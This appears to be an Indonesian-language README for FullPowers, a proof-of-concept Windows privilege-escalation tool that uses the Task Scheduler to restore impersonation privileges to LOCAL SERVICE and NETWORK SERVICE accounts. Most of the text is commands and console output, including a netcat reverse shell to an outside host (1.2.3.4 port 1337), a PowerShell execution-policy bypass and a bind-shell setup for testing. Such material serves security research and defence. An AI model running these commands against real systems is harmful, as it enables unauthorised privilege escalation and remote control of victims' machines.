FullPowers adalah alat Bukti Konsep yang saya buat untuk memulihkan secara otomatis kumpulan hak istimewa default akun layanan termasuk SeAssignPrimaryToken dan SeImpersonate .
Di Windows, beberapa layanan yang dijalankan sebagai LOCAL SERVICE
atau NETWORK SERVICE
dikonfigurasikan untuk dijalankan dengan serangkaian hak istimewa terbatas . Oleh karena itu, meskipun layanan disusupi, Anda tidak akan mendapatkan hak istimewa peniruan identitas emas dan peningkatan hak istimewa ke LOCAL SYSTEM
akan menjadi lebih rumit. Namun, saya menemukan bahwa, saat Anda membuat tugas terjadwal , proses baru yang dibuat oleh Layanan Penjadwal Tugas memiliki semua hak istimewa default dari akun pengguna terkait (kecuali SeImpersonate ). Oleh karena itu, dengan beberapa manipulasi token, Anda dapat menelurkan proses baru dengan semua hak istimewa yang hilang.
Penggunaan
LOCAL SERVICE
atau NETWORK SERVICE
saja.
Anda dapat memeriksa pesan bantuan menggunakan opsi -h
.
c:TOOLS>FullPowers -h FullPowers v0.1 (by @itm4n) This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/ Optional arguments: -v Verbose mode, used for debugging essentially -cCustom command line to execute (default is 'C:WindowsSystem32cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>
c:TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:WINDOWSsystem32> Get-ExecutionPolicy Bypass
c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
Anda ingin menguji sendiri PoC ini? Itu bagus! Berikut adalah beberapa petunjuk sederhana untuk Anda mulai.
Ide keseluruhannya adalah untuk memulai bindshell dari proses layanan yang ada, menghubungkannya dan kemudian menjalankan executable.
Anda memerlukan 2 alat pihak ketiga, netcat dan RunFromProcess.
Pilih layanan yang memiliki hak terbatas, misalnya: upnphost
.
Buka Task Manager , buka tab Layanan dan dapatkan PID dari proses terkait.
Gunakan perintah berikut untuk memulai bindshell sebagai administrator :
C:TOOLS>RunFromProcess-x64.exeC:TOOLSnc64.exe -l -p 9001 -e cmd
Gunakan perintah berikut untuk terhubung ke bindshell:
C:TOOLS>nc64.exe 127.0.0.1 9001 Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
Kita dapat melihat bahwa proses saat ini tidak memiliki hak peniruan identitas. Sekarang jalankan PoC...
c:TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Anda sekarang seharusnya memiliki shell dengan hak peniruan identitas !